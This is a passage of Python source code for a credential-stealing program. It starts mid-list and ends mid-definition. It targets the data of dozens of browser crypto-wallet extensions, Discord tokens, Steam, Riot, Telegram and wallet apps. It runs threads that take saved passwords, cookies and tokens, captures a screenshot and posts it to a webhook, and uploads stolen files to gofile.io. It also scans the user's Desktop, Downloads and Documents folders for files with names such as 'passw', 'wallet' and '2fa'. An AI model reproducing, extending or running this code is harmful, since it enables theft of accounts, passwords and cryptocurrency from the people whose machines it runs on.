        [f"{local}/Google/Chrome SxS/User Data",                    "chrome.exe",   "/Default/Local Storage/leveldb",   "/Default",     "/Default/Network",     "/Default/Local Extension Settings/aholpfdialjgjfhomihkjbmgjidlcdno"              ],
        [f"{local}/BraveSoftware/Brave-Browser/User Data",          "brave.exe",    "/Default/Local Storage/leveldb",   "/Default",     "/Default/Network",     "/Default/Local Extension Settings/aholpfdialjgjfhomihkjbmgjidlcdno"              ],
        [f"{local}/Yandex/YandexBrowser/User Data",                 "yandex.exe",   "/Default/Local Storage/leveldb",   "/Default",     "/Default/Network",     "/HougaBouga/aholpfdialjgjfhomihkjbmgjidlcdno"                                    ],
        [f"{local}/Microsoft/Edge/User Data",                       "edge.exe",     "/Default/Local Storage/leveldb",   "/Default",     "/Default/Network",     "/Default/Local Extension Settings/aholpfdialjgjfhomihkjbmgjidlcdno"              ],
        #exodus web
        [f"{roaming}/Opera Software/Opera GX Stable",               "opera.exe",    "/Local Storage/leveldb",           "/",            "/Network",             "/Local Extension Settings/bfnaelmomeimhlpmgjnjophhpkkoljpa"                      ],
        [f"{roaming}/Opera Software/Opera Stable",                  "opera.exe",    "/Local Storage/leveldb",           "/",            "/Network",             "/Local Extension Settings/bfnaelmomeimhlpmgjnjophhpkkoljpa"                      ],
        [f"{roaming}/Opera Software/Opera Neon/User Data/Default",  "opera.exe",    "/Local Storage/leveldb",           "/",            "/Network",             "/Local Extension Settings/bfnaelmomeimhlpmgjnjophhpkkoljpa"                      ],
        [f"{local}/Google/Chrome/User Data",                        "chrome.exe",   "/Default/Local Storage/leveldb",   "/Default",     "/Default/Network",     "/Default/Local Extension Settings/bfnaelmomeimhlpmgjnjophhpkkoljpa"              ],
        [f"{local}/Google/Chrome SxS/User Data",                    "chrome.exe",   "/Default/Local Storage/leveldb",   "/Default",     "/Default/Network",     "/Default/Local Extension Settings/bfnaelmomeimhlpmgjnjophhpkkoljpa"              ],
        [f"{local}/BraveSoftware/Brave-Browser/User Data",          "brave.exe",    "/Default/Local Storage/leveldb",   "/Default",     "/Default/Network",     "/Default/Local Extension Settings/bfnaelmomeimhlpmgjnjophhpkkoljpa"              ],
        [f"{local}/Yandex/YandexBrowser/User Data",                 "yandex.exe",   "/Default/Local Storage/leveldb",   "/Default",     "/Default/Network",     "/HougaBouga/bfnaelmomeimhlpmgjnjophhpkkoljpa"                                    ],
        [f"{local}/Microsoft/Edge/User Data",                       "edge.exe",     "/Default/Local Storage/leveldb",   "/Default",     "/Default/Network",     "/Default/Local Extension Settings/bfnaelmomeimhlpmgjnjophhpkkoljpa"              ],
        #phantom
        [f"{roaming}/Opera Software/Opera GX Stable",               "opera.exe",    "/Local Storage/leveldb",           "/",            "/Network",             "/Local Extension Settings/fhbohimaelbohpjbbldcngcnapndodjp"                      ],
        [f"{roaming}/Opera Software/Opera Stable",                  "opera.exe",    "/Local Storage/leveldb",           "/",            "/Network",             "/Local Extension Settings/fhbohimaelbohpjbbldcngcnapndodjp"                      ],
        [f"{roaming}/Opera Software/Opera Neon/User Data/Default",  "opera.exe",    "/Local Storage/leveldb",           "/",            "/Network",             "/Local Extension Settings/fhbohimaelbohpjbbldcngcnapndodjp"                      ],
        [f"{local}/Google/Chrome/User Data",                        "chrome.exe",   "/Default/Local Storage/leveldb",   "/Default",     "/Default/Network",     "/Default/Local Extension Settings/fhbohimaelbohpjbbldcngcnapndodjp"              ],
        [f"{local}/Google/Chrome SxS/User Data",                    "chrome.exe",   "/Default/Local Storage/leveldb",   "/Default",     "/Default/Network",     "/Default/Local Extension Settings/fhbohimaelbohpjbbldcngcnapndodjp"              ],
        [f"{local}/BraveSoftware/Brave-Browser/User Data",          "brave.exe",    "/Default/Local Storage/leveldb",   "/Default",     "/Default/Network",     "/Default/Local Extension Settings/fhbohimaelbohpjbbldcngcnapndodjp"              ],
        [f"{local}/Yandex/YandexBrowser/User Data",                 "yandex.exe",   "/Default/Local Storage/leveldb",   "/Default",     "/Default/Network",     "/HougaBouga/fhbohimaelbohpjbbldcngcnapndodjp"                                    ],
        [f"{local}/Microsoft/Edge/User Data",                       "edge.exe",     "/Default/Local Storage/leveldb",   "/Default",     "/Default/Network",     "/Default/Local Extension Settings/fhbohimaelbohpjbbldcngcnapndodjp"              ],
        #binance
        [f"{roaming}/Opera Software/Opera GX Stable",               "opera.exe",    "/Local Storage/leveldb",           "/",            "/Network",             "/Local Extension Settings/hnfanknocfeofbddgcijnmhnfnkdnaad"                      ],
        [f"{roaming}/Opera Software/Opera Stable",                  "opera.exe",    "/Local Storage/leveldb",           "/",            "/Network",             "/Local Extension Settings/hnfanknocfeofbddgcijnmhnfnkdnaad"                      ],
        [f"{roaming}/Opera Software/Opera Neon/User Data/Default",  "opera.exe",    "/Local Storage/leveldb",           "/",            "/Network",             "/Local Extension Settings/hnfanknocfeofbddgcijnmhnfnkdnaad"                      ],
        [f"{local}/Google/Chrome/User Data",                        "chrome.exe",   "/Default/Local Storage/leveldb",   "/Default",     "/Default/Network",     "/Default/Local Extension Settings/hnfanknocfeofbddgcijnmhnfnkdnaad"              ],
        [f"{local}/Google/Chrome SxS/User Data",                    "chrome.exe",   "/Default/Local Storage/leveldb",   "/Default",     "/Default/Network",     "/Default/Local Extension Settings/hnfanknocfeofbddgcijnmhnfnkdnaad"              ],
        [f"{local}/BraveSoftware/Brave-Browser/User Data",          "brave.exe",    "/Default/Local Storage/leveldb",   "/Default",     "/Default/Network",     "/Default/Local Extension Settings/hnfanknocfeofbddgcijnmhnfnkdnaad"              ],
        [f"{local}/Yandex/YandexBrowser/User Data",                 "yandex.exe",   "/Default/Local Storage/leveldb",   "/Default",     "/Default/Network",     "/HougaBouga/hnfanknocfeofbddgcijnmhnfnkdnaad"                                    ],
        [f"{local}/Microsoft/Edge/User Data",                       "edge.exe",     "/Default/Local Storage/leveldb",   "/Default",     "/Default/Network",     "/Default/Local Extension Settings/hnfanknocfeofbddgcijnmhnfnkdnaad"              ],
        #coinbase
        [f"{roaming}/Opera Software/Opera GX Stable",               "opera.exe",    "/Local Storage/leveldb",           "/",            "/Network",             "/Local Extension Settings/fnjhmkhhmkbjkkabndcnnogagogbneec"                      ],
        [f"{roaming}/Opera Software/Opera Stable",                  "opera.exe",    "/Local Storage/leveldb",           "/",            "/Network",             "/Local Extension Settings/fnjhmkhhmkbjkkabndcnnogagogbneec"                      ],
        [f"{roaming}/Opera Software/Opera Neon/User Data/Default",  "opera.exe",    "/Local Storage/leveldb",           "/",            "/Network",             "/Local Extension Settings/fnjhmkhhmkbjkkabndcnnogagogbneec"                      ],
        [f"{local}/Google/Chrome/User Data",                        "chrome.exe",   "/Default/Local Storage/leveldb",   "/Default",     "/Default/Network",     "/Default/Local Extension Settings/fnjhmkhhmkbjkkabndcnnogagogbneec"              ],
        [f"{local}/Google/Chrome SxS/User Data",                    "chrome.exe",   "/Default/Local Storage/leveldb",   "/Default",     "/Default/Network",     "/Default/Local Extension Settings/fnjhmkhhmkbjkkabndcnnogagogbneec"              ],
        [f"{local}/BraveSoftware/Brave-Browser/User Data",          "brave.exe",    "/Default/Local Storage/leveldb",   "/Default",     "/Default/Network",     "/Default/Local Extension Settings/fnjhmkhhmkbjkkabndcnnogagogbneec"              ],
        [f"{local}/Yandex/YandexBrowser/User Data",                 "yandex.exe",   "/Default/Local Storage/leveldb",   "/Default",     "/Default/Network",     "/HougaBouga/fnjhmkhhmkbjkkabndcnnogagogbneec"                                    ],
        [f"{local}/Microsoft/Edge/User Data",                       "edge.exe",     "/Default/Local Storage/leveldb",   "/Default",     "/Default/Network",     "/Default/Local Extension Settings/fnjhmkhhmkbjkkabndcnnogagogbneec"              ],
        #Ronin
        [f"{roaming}/Opera Software/Opera GX Stable",               "opera.exe",    "/Local Storage/leveldb",           "/",            "/Network",             "/Local Extension Settings/ejbalbakoplchlghecdalmeeeajnimhm"                      ],
        [f"{roaming}/Opera Software/Opera Stable",                  "opera.exe",    "/Local Storage/leveldb",           "/",            "/Network",             "/Local Extension Settings/ejbalbakoplchlghecdalmeeeajnimhm"                      ],
        [f"{roaming}/Opera Software/Opera Neon/User Data/Default",  "opera.exe",    "/Local Storage/leveldb",           "/",            "/Network",             "/Local Extension Settings/ejbalbakoplchlghecdalmeeeajnimhm"                      ],
        [f"{local}/Google/Chrome/User Data",                        "chrome.exe",   "/Default/Local Storage/leveldb",   "/Default",     "/Default/Network",     "/Default/Local Extension Settings/ejbalbakoplchlghecdalmeeeajnimhm"              ],
        [f"{local}/Google/Chrome SxS/User Data",                    "chrome.exe",   "/Default/Local Storage/leveldb",   "/Default",     "/Default/Network",     "/Default/Local Extension Settings/ejbalbakoplchlghecdalmeeeajnimhm"              ],
        [f"{local}/BraveSoftware/Brave-Browser/User Data",          "brave.exe",    "/Default/Local Storage/leveldb",   "/Default",     "/Default/Network",     "/Default/Local Extension Settings/ejbalbakoplchlghecdalmeeeajnimhm"              ],
        [f"{local}/Yandex/YandexBrowser/User Data",                 "yandex.exe",   "/Default/Local Storage/leveldb",   "/Default",     "/Default/Network",     "/HougaBouga/ejbalbakoplchlghecdalmeeeajnimhm"                                    ],
        [f"{local}/Microsoft/Edge/User Data",                       "edge.exe",     "/Default/Local Storage/leveldb",   "/Default",     "/Default/Network",     "/Default/Local Extension Settings/ejbalbakoplchlghecdalmeeeajnimhm"              ],
        #MetaMask_Edge
        [f"{roaming}/Opera Software/Opera GX Stable",               "opera.exe",    "/Local Storage/leveldb",           "/",            "/Network",             "/Local Extension Settings/ibnejdfjmmkpcnlpebklmnkoeoihofec"                      ],
        [f"{roaming}/Opera Software/Opera Stable",                  "opera.exe",    "/Local Storage/leveldb",           "/",            "/Network",             "/Local Extension Settings/ibnejdfjmmkpcnlpebklmnkoeoihofec"                      ],
        [f"{roaming}/Opera Software/Opera Neon/User Data/Default",  "opera.exe",    "/Local Storage/leveldb",           "/",            "/Network",             "/Local Extension Settings/ibnejdfjmmkpcnlpebklmnkoeoihofec"                      ],
        [f"{local}/Google/Chrome/User Data",                        "chrome.exe",   "/Default/Local Storage/leveldb",   "/Default",     "/Default/Network",     "/Default/Local Extension Settings/ibnejdfjmmkpcnlpebklmnkoeoihofec"              ],
        [f"{local}/Google/Chrome SxS/User Data",                    "chrome.exe",   "/Default/Local Storage/leveldb",   "/Default",     "/Default/Network",     "/Default/Local Extension Settings/ibnejdfjmmkpcnlpebklmnkoeoihofec"              ],
        [f"{local}/BraveSoftware/Brave-Browser/User Data",          "brave.exe",    "/Default/Local Storage/leveldb",   "/Default",     "/Default/Network",     "/Default/Local Extension Settings/ibnejdfjmmkpcnlpebklmnkoeoihofec"              ],
        [f"{local}/Yandex/YandexBrowser/User Data",                 "yandex.exe",   "/Default/Local Storage/leveldb",   "/Default",     "/Default/Network",     "/HougaBouga/ibnejdfjmmkpcnlpebklmnkoeoihofec"                                    ],
        [f"{local}/Microsoft/Edge/User Data",                       "edge.exe",     "/Default/Local Storage/leveldb",   "/Default",     "/Default/Network",     "/Default/Local Extension Settings/ibnejdfjmmkpcnlpebklmnkoeoihofec"              ],
        #Tron
        [f"{roaming}/Opera Software/Opera GX Stable",               "opera.exe",    "/Local Storage/leveldb",           "/",            "/Network",             "/Local Extension Settings/ejjladinnckdgjemekebdpeokbikhfci"                      ],
        [f"{roaming}/Opera Software/Opera Stable",                  "opera.exe",    "/Local Storage/leveldb",           "/",            "/Network",             "/Local Extension Settings/ejjladinnckdgjemekebdpeokbikhfci"                      ],
        [f"{roaming}/Opera Software/Opera Neon/User Data/Default",  "opera.exe",    "/Local Storage/leveldb",           "/",            "/Network",             "/Local Extension Settings/ejjladinnckdgjemekebdpeokbikhfci"                      ],
        [f"{local}/Google/Chrome/User Data",                        "chrome.exe",   "/Default/Local Storage/leveldb",   "/Default",     "/Default/Network",     "/Default/Local Extension Settings/ejjladinnckdgjemekebdpeokbikhfci"              ],
        [f"{local}/Google/Chrome SxS/User Data",                    "chrome.exe",   "/Default/Local Storage/leveldb",   "/Default",     "/Default/Network",     "/Default/Local Extension Settings/ejjladinnckdgjemekebdpeokbikhfci"              ],
        [f"{local}/BraveSoftware/Brave-Browser/User Data",          "brave.exe",    "/Default/Local Storage/leveldb",   "/Default",     "/Default/Network",     "/Default/Local Extension Settings/ejjladinnckdgjemekebdpeokbikhfci"              ],
        [f"{local}/Yandex/YandexBrowser/User Data",                 "yandex.exe",   "/Default/Local Storage/leveldb",   "/Default",     "/Default/Network",     "/HougaBouga/ejjladinnckdgjemekebdpeokbikhfci"                                    ],
        [f"{local}/Microsoft/Edge/User Data",                       "edge.exe",     "/Default/Local Storage/leveldb",   "/Default",     "/Default/Network",     "/Default/Local Extension Settings/ejjladinnckdgjemekebdpeokbikhfci"              ],
        #Petra Aptos Wallet
        [f"{roaming}/Opera Software/Opera GX Stable",               "opera.exe",    "/Local Storage/leveldb",           "/",            "/Network",             "/Local Extension Settings/efbglgofoippbgcjepnhiblaibcnclgk"                      ],
        [f"{roaming}/Opera Software/Opera Stable",                  "opera.exe",    "/Local Storage/leveldb",           "/",            "/Network",             "/Local Extension Settings/efbglgofoippbgcjepnhiblaibcnclgk"                      ],
        [f"{roaming}/Opera Software/Opera Neon/User Data/Default",  "opera.exe",    "/Local Storage/leveldb",           "/",            "/Network",             "/Local Extension Settings/efbglgofoippbgcjepnhiblaibcnclgk"                      ],
        [f"{local}/Google/Chrome/User Data",                        "chrome.exe",   "/Default/Local Storage/leveldb",   "/Default",     "/Default/Network",     "/Default/Local Extension Settings/efbglgofoippbgcjepnhiblaibcnclgk"              ],
        [f"{local}/Google/Chrome SxS/User Data",                    "chrome.exe",   "/Default/Local Storage/leveldb",   "/Default",     "/Default/Network",     "/Default/Local Extension Settings/efbglgofoippbgcjepnhiblaibcnclgk"              ],
        [f"{local}/BraveSoftware/Brave-Browser/User Data",          "brave.exe",    "/Default/Local Storage/leveldb",   "/Default",     "/Default/Network",     "/Default/Local Extension Settings/efbglgofoippbgcjepnhiblaibcnclgk"              ],
        [f"{local}/Yandex/YandexBrowser/User Data",                 "yandex.exe",   "/Default/Local Storage/leveldb",   "/Default",     "/Default/Network",     "/HougaBouga/efbglgofoippbgcjepnhiblaibcnclgk"                                    ],
        [f"{local}/Microsoft/Edge/User Data",                       "edge.exe",     "/Default/Local Storage/leveldb",   "/Default",     "/Default/Network",     "/Default/Local Extension Settings/efbglgofoippbgcjepnhiblaibcnclgk"              ],
        #Martian Aptos Wallet
        [f"{roaming}/Opera Software/Opera GX Stable",               "opera.exe",    "/Local Storage/leveldb",           "/",            "/Network",             "/Local Extension Settings/phkbamefinggmakgklpkljjmgibohnba"                      ],
        [f"{roaming}/Opera Software/Opera Stable",                  "opera.exe",    "/Local Storage/leveldb",           "/",            "/Network",             "/Local Extension Settings/phkbamefinggmakgklpkljjmgibohnba"                      ],
        [f"{roaming}/Opera Software/Opera Neon/User Data/Default",  "opera.exe",    "/Local Storage/leveldb",           "/",            "/Network",             "/Local Extension Settings/phkbamefinggmakgklpkljjmgibohnba"                      ],
        [f"{local}/Google/Chrome/User Data",                        "chrome.exe",   "/Default/Local Storage/leveldb",   "/Default",     "/Default/Network",     "/Default/Local Extension Settings/phkbamefinggmakgklpkljjmgibohnba"              ],
        [f"{local}/Google/Chrome SxS/User Data",                    "chrome.exe",   "/Default/Local Storage/leveldb",   "/Default",     "/Default/Network",     "/Default/Local Extension Settings/phkbamefinggmakgklpkljjmgibohnba"              ],
        [f"{local}/BraveSoftware/Brave-Browser/User Data",          "brave.exe",    "/Default/Local Storage/leveldb",   "/Default",     "/Default/Network",     "/Default/Local Extension Settings/phkbamefinggmakgklpkljjmgibohnba"              ],
        [f"{local}/Yandex/YandexBrowser/User Data",                 "yandex.exe",   "/Default/Local Storage/leveldb",   "/Default",     "/Default/Network",     "/HougaBouga/phkbamefinggmakgklpkljjmgibohnba"                                    ],
        [f"{local}/Microsoft/Edge/User Data",                       "edge.exe",     "/Default/Local Storage/leveldb",   "/Default",     "/Default/Network",     "/Default/Local Extension Settings/phkbamefinggmakgklpkljjmgibohnba"              ],
        #Pontem Aptos Wallet
        [f"{roaming}/Opera Software/Opera GX Stable",               "opera.exe",    "/Local Storage/leveldb",           "/",            "/Network",             "/Local Extension Settings/ebfidpplhabeedpnhjnobghokpiioolj"                      ],
        [f"{roaming}/Opera Software/Opera Stable",                  "opera.exe",    "/Local Storage/leveldb",           "/",            "/Network",             "/Local Extension Settings/ebfidpplhabeedpnhjnobghokpiioolj"                      ],
        [f"{roaming}/Opera Software/Opera Neon/User Data/Default",  "opera.exe",    "/Local Storage/leveldb",           "/",            "/Network",             "/Local Extension Settings/ebfidpplhabeedpnhjnobghokpiioolj"                      ],
        [f"{local}/Google/Chrome/User Data",                        "chrome.exe",   "/Default/Local Storage/leveldb",   "/Default",     "/Default/Network",     "/Default/Local Extension Settings/ebfidpplhabeedpnhjnobghokpiioolj"              ],
        [f"{local}/Google/Chrome SxS/User Data",                    "chrome.exe",   "/Default/Local Storage/leveldb",   "/Default",     "/Default/Network",     "/Default/Local Extension Settings/ebfidpplhabeedpnhjnobghokpiioolj"              ],
        [f"{local}/BraveSoftware/Brave-Browser/User Data",          "brave.exe",    "/Default/Local Storage/leveldb",   "/Default",     "/Default/Network",     "/Default/Local Extension Settings/ebfidpplhabeedpnhjnobghokpiioolj"              ],
        [f"{local}/Yandex/YandexBrowser/User Data",                 "yandex.exe",   "/Default/Local Storage/leveldb",   "/Default",     "/Default/Network",     "/HougaBouga/ebfidpplhabeedpnhjnobghokpiioolj"                                    ],
        [f"{local}/Microsoft/Edge/User Data",                       "edge.exe",     "/Default/Local Storage/leveldb",   "/Default",     "/Default/Network",     "/Default/Local Extension Settings/ebfidpplhabeedpnhjnobghokpiioolj"              ],
        #Fewcha Wallet
        [f"{roaming}/Opera Software/Opera GX Stable",               "opera.exe",    "/Local Storage/leveldb",           "/",            "/Network",             "/Local Extension Settings/aeachknmefphepccionboohckonoeemg"                      ],
        [f"{roaming}/Opera Software/Opera Stable",                  "opera.exe",    "/Local Storage/leveldb",           "/",            "/Network",             "/Local Extension Settings/aeachknmefphepccionboohckonoeemg"                      ],
        [f"{roaming}/Opera Software/Opera Neon/User Data/Default",  "opera.exe",    "/Local Storage/leveldb",           "/",            "/Network",             "/Local Extension Settings/aeachknmefphepccionboohckonoeemg"                      ],
        [f"{local}/Google/Chrome/User Data",                        "chrome.exe",   "/Default/Local Storage/leveldb",   "/Default",     "/Default/Network",     "/Default/Local Extension Settings/aeachknmefphepccionboohckonoeemg"              ],
        [f"{local}/Google/Chrome SxS/User Data",                    "chrome.exe",   "/Default/Local Storage/leveldb",   "/Default",     "/Default/Network",     "/Default/Local Extension Settings/aeachknmefphepccionboohckonoeemg"              ],
        [f"{local}/BraveSoftware/Brave-Browser/User Data",          "brave.exe",    "/Default/Local Storage/leveldb",   "/Default",     "/Default/Network",     "/Default/Local Extension Settings/aeachknmefphepccionboohckonoeemg"              ],
        [f"{local}/Yandex/YandexBrowser/User Data",                 "yandex.exe",   "/Default/Local Storage/leveldb",   "/Default",     "/Default/Network",     "/HougaBouga/aeachknmefphepccionboohckonoeemg"                                    ],
        [f"{local}/Microsoft/Edge/User Data",                       "edge.exe",     "/Default/Local Storage/leveldb",   "/Default",     "/Default/Network",     "/Default/Local Extension Settings/aeachknmefphepccionboohckonoeemg"              ],
        #Coin98 Wallet
        [f"{roaming}/Opera Software/Opera GX Stable",               "opera.exe",    "/Local Storage/leveldb",           "/",            "/Network",             "/Local Extension Settings/afbcbjpbpfadlkmhmclhkeeodmamcflc"                      ],
        [f"{roaming}/Opera Software/Opera Stable",                  "opera.exe",    "/Local Storage/leveldb",           "/",            "/Network",             "/Local Extension Settings/afbcbjpbpfadlkmhmclhkeeodmamcflc"                      ],
        [f"{roaming}/Opera Software/Opera Neon/User Data/Default",  "opera.exe",    "/Local Storage/leveldb",           "/",            "/Network",             "/Local Extension Settings/afbcbjpbpfadlkmhmclhkeeodmamcflc"                      ],
        [f"{local}/Google/Chrome/User Data",                        "chrome.exe",   "/Default/Local Storage/leveldb",   "/Default",     "/Default/Network",     "/Default/Local Extension Settings/afbcbjpbpfadlkmhmclhkeeodmamcflc"              ],
        [f"{local}/Google/Chrome SxS/User Data",                    "chrome.exe",   "/Default/Local Storage/leveldb",   "/Default",     "/Default/Network",     "/Default/Local Extension Settings/afbcbjpbpfadlkmhmclhkeeodmamcflc"              ],
        [f"{local}/BraveSoftware/Brave-Browser/User Data",          "brave.exe",    "/Default/Local Storage/leveldb",   "/Default",     "/Default/Network",     "/Default/Local Extension Settings/afbcbjpbpfadlkmhmclhkeeodmamcflc"              ],
        [f"{local}/Yandex/YandexBrowser/User Data",                 "yandex.exe",   "/Default/Local Storage/leveldb",   "/Default",     "/Default/Network",     "/HougaBouga/afbcbjpbpfadlkmhmclhkeeodmamcflc"                                    ],
        [f"{local}/Microsoft/Edge/User Data",                       "edge.exe",     "/Default/Local Storage/leveldb",   "/Default",     "/Default/Network",     "/Default/Local Extension Settings/afbcbjpbpfadlkmhmclhkeeodmamcflc"              ],
        #Math Wallet
        [f"{roaming}/Opera Software/Opera GX Stable",               "opera.exe",    "/Local Storage/leveldb",           "/",            "/Network",             "/Local Extension Settings/ebfidpplhabeedpnhjnobghokpiioolj"                      ],
        [f"{roaming}/Opera Software/Opera Stable",                  "opera.exe",    "/Local Storage/leveldb",           "/",            "/Network",             "/Local Extension Settings/ebfidpplhabeedpnhjnobghokpiioolj"                      ],
        [f"{roaming}/Opera Software/Opera Neon/User Data/Default",  "opera.exe",    "/Local Storage/leveldb",           "/",            "/Network",             "/Local Extension Settings/ebfidpplhabeedpnhjnobghokpiioolj"                      ],
        [f"{local}/Google/Chrome/User Data",                        "chrome.exe",   "/Default/Local Storage/leveldb",   "/Default",     "/Default/Network",     "/Default/Local Extension Settings/ebfidpplhabeedpnhjnobghokpiioolj"              ],
        [f"{local}/Google/Chrome SxS/User Data",                    "chrome.exe",   "/Default/Local Storage/leveldb",   "/Default",     "/Default/Network",     "/Default/Local Extension Settings/ebfidpplhabeedpnhjnobghokpiioolj"              ],
        [f"{local}/BraveSoftware/Brave-Browser/User Data",          "brave.exe",    "/Default/Local Storage/leveldb",   "/Default",     "/Default/Network",     "/Default/Local Extension Settings/ebfidpplhabeedpnhjnobghokpiioolj"              ],
        [f"{local}/Yandex/YandexBrowser/User Data",                 "yandex.exe",   "/Default/Local Storage/leveldb",   "/Default",     "/Default/Network",     "/HougaBouga/ebfidpplhabeedpnhjnobghokpiioolj"                                    ],
        [f"{local}/Microsoft/Edge/User Data",                       "edge.exe",     "/Default/Local Storage/leveldb",   "/Default",     "/Default/Network",     "/Default/Local Extension Settings/ebfidpplhabeedpnhjnobghokpiioolj"              ],
        #Fewcha Wallet
        [f"{roaming}/Opera Software/Opera GX Stable",               "opera.exe",    "/Local Storage/leveldb",           "/",            "/Network",             "/Local Extension Settings/bhghoamapcdpbohphigoooaddinpkbai"                      ],
        [f"{roaming}/Opera Software/Opera Stable",                  "opera.exe",    "/Local Storage/leveldb",           "/",            "/Network",             "/Local Extension Settings/bhghoamapcdpbohphigoooaddinpkbai"                      ],
        [f"{roaming}/Opera Software/Opera Neon/User Data/Default",  "opera.exe",    "/Local Storage/leveldb",           "/",            "/Network",             "/Local Extension Settings/bhghoamapcdpbohphigoooaddinpkbai"                      ],
        [f"{local}/Google/Chrome/User Data",                        "chrome.exe",   "/Default/Local Storage/leveldb",   "/Default",     "/Default/Network",     "/Default/Local Extension Settings/bhghoamapcdpbohphigoooaddinpkbai"              ],
        [f"{local}/Google/Chrome SxS/User Data",                    "chrome.exe",   "/Default/Local Storage/leveldb",   "/Default",     "/Default/Network",     "/Default/Local Extension Settings/bhghoamapcdpbohphigoooaddinpkbai"              ],
        [f"{local}/BraveSoftware/Brave-Browser/User Data",          "brave.exe",    "/Default/Local Storage/leveldb",   "/Default",     "/Default/Network",     "/Default/Local Extension Settings/bhghoamapcdpbohphigoooaddinpkbai"              ],
        [f"{local}/Yandex/YandexBrowser/User Data",                 "yandex.exe",   "/Default/Local Storage/leveldb",   "/Default",     "/Default/Network",     "/HougaBouga/bhghoamapcdpbohphigoooaddinpkbai"                                    ],
        [f"{local}/Microsoft/Edge/User Data",                       "edge.exe",     "/Default/Local Storage/leveldb",   "/Default",     "/Default/Network",     "/Default/Local Extension Settings/bhghoamapcdpbohphigoooaddinpkbai"              ]
        #Authenticator
    ]

    discordPaths = [
        [f"{roaming}/Discord", "/Local Storage/leveldb"],
        [f"{roaming}/Lightcord", "/Local Storage/leveldb"],
        [f"{roaming}/discordcanary", "/Local Storage/leveldb"],
        [f"{roaming}/discordptb", "/Local Storage/leveldb"],
    ]

    PathsToZip = [
        [f"{roaming}/atomic/Local Storage/leveldb", '"Atomic Wallet.exe"', "Wallet"],
        [f"{roaming}/Exodus/exodus.wallet", "Exodus.exe", "Wallet"],
        [f"{roaming}/Binance/Local Storage/leveldb", "Binance.exe", "Wallet"],
        ["C:\Program Files (x86)\Steam\config", "steam.exe", "Steam"],
        [f"{roaming}/NationsGlory/Local Storage/leveldb", "NationsGlory.exe", "NationsGlory"],
        [f"{local}/Riot Games/Riot Client/Data", "RiotClientServices.exe", "RiotClient"]
    ]
    Telegram = [f"{roaming}/Telegram Desktop/tdata", 'telegram.exe', "Telegram"]

    Immagegrabasp()

    for patt in browserPaths: 
        a = threading.Thread(target=getToken, args=[patt[0], patt[2]])
        a.start()
        Threadlist.append(a)
    for patt in discordPaths: 
        a = threading.Thread(target=GetDiscord, args=[patt[0], patt[1]])
        a.start()
        Threadlist.append(a)

    for patt in browserPaths: 
        a = threading.Thread(target=getPassw, args=[patt[0], patt[3]])
        a.start()
        Threadlist.append(a)

    ThCokk = []
    for patt in browserPaths: 
        a = threading.Thread(target=getCookie, args=[patt[0], patt[4]])
        a.start()
        ThCokk.append(a)

    threading.Thread(target=GatherZips, args=[browserPaths, PathsToZip, Telegram]).start()


    for thread in ThCokk: thread.join()
    DETECTED = Trust(Cookies)
    if DETECTED == True: return

    # for patt in browserPaths:
    #     threading.Thread(target=ZipThings, args=[patt[0], patt[5], patt[1]]).start()
    
    # for patt in PathsToZip:
    #     threading.Thread(target=ZipThings, args=[patt[0], patt[2], patt[1]]).start()
    
    # threading.Thread(target=ZipTelegram, args=[Telegram[0], Telegram[2], Telegram[1]]).start()

    for thread in Threadlist: 
        thread.join()
    global upths
    upths = []

    for file in ["wppasswords.txt", "wpcookies.txt"]: 
        # upload(os.getenv("TEMP") + "\\" + file)
        upload(file.replace(".txt", ""), uploadToAnonfiles(os.getenv("TEMP") + "\\" + file))

def Immagegrabasp():
    try:
        imgscreen = ImageGrab.grab()
        imgscreen.save(f"{os.environ['TEMP']}\\nizz.png")
        files = {'file': open(f"{os.environ['TEMP']}\\nizz.png", 'rb')}
        LoadRequests("POST", hook, files=files)
    except:
        pass

def uploadToAnonfiles(path):
    try:return requests.post(f'https://{requests.get("https://api.gofile.io/getServer").json()["data"]["server"]}.gofile.io/uploadFile', files={'file': open(path, 'rb')}).json()["data"]["downloadPage"]
    except:return False

def KiwiFolder(pathF, keywords):
    global KiwiFiles
    maxfilesperdir = 7
    i = 0
    listOfFile = os.listdir(pathF)
    ffound = []
    for file in listOfFile:
        if not os.path.isfile(pathF + "/" + file): return
        i += 1
        if i <= maxfilesperdir:
            url = uploadToAnonfiles(pathF + "/" + file)
            ffound.append([pathF + "/" + file, url])
        else:
            break
    KiwiFiles.append(["folder", pathF + "/", ffound])

KiwiFiles = []
def KiwiFile(path, keywords):
    global KiwiFiles
    fifound = []
    listOfFile = os.listdir(path)
    for file in listOfFile:
        for worf in keywords:
            if worf in file.lower():
                if os.path.isfile(path + "/" + file) and ".txt" in file:
                    fifound.append([path + "/" + file, uploadToAnonfiles(path + "/" + file)])
                    break
                if os.path.isdir(path + "/" + file):
                    target = path + "/" + file
                    KiwiFolder(target, keywords)
                    break

    KiwiFiles.append(["folder", path, fifound])

def Kiwi():
    user = temp.split("\AppData")[0]
    path2search = [
        user + "/Desktop",
        user + "/Downloads",
        user + "/Documents"
    ]

    key_wordsFolder = [
        "account",
        "bot",
        "token",
        "acount",
        "exodus",
        "wallet",
        "backup",
        "atomic",
        "metam",
        "passw",
        "secret"

    ]

    key_wordsFiles = [
        "passw",
        "mdp",
        "motdepasse",
        "mot_de_passe",
        "login",
        "secret",
        "bot",
        "atomic",
        "account",
        "acount",
        "paypal",
        "banque",
        "toke",
        "bot",
        "metamask",
        "wallet",
        "crypto",
        "exodus",
        "discord",
        "2fa",
        "code",
        "memo",
        "compte",
        "token",
        "backup",
        "secret"
        ]

    wikith = []
    for patt in path2search: 
        kiwi = threading.Thread(target=KiwiFile, args=[patt, key_wordsFiles]);kiwi.start()
        wikith.append(kiwi)
    return wikith


global keyword, cookiWords, paswWords, CookiCount, PasswCount, WalletsZip, GamingZip, OtherZip

keyword = [
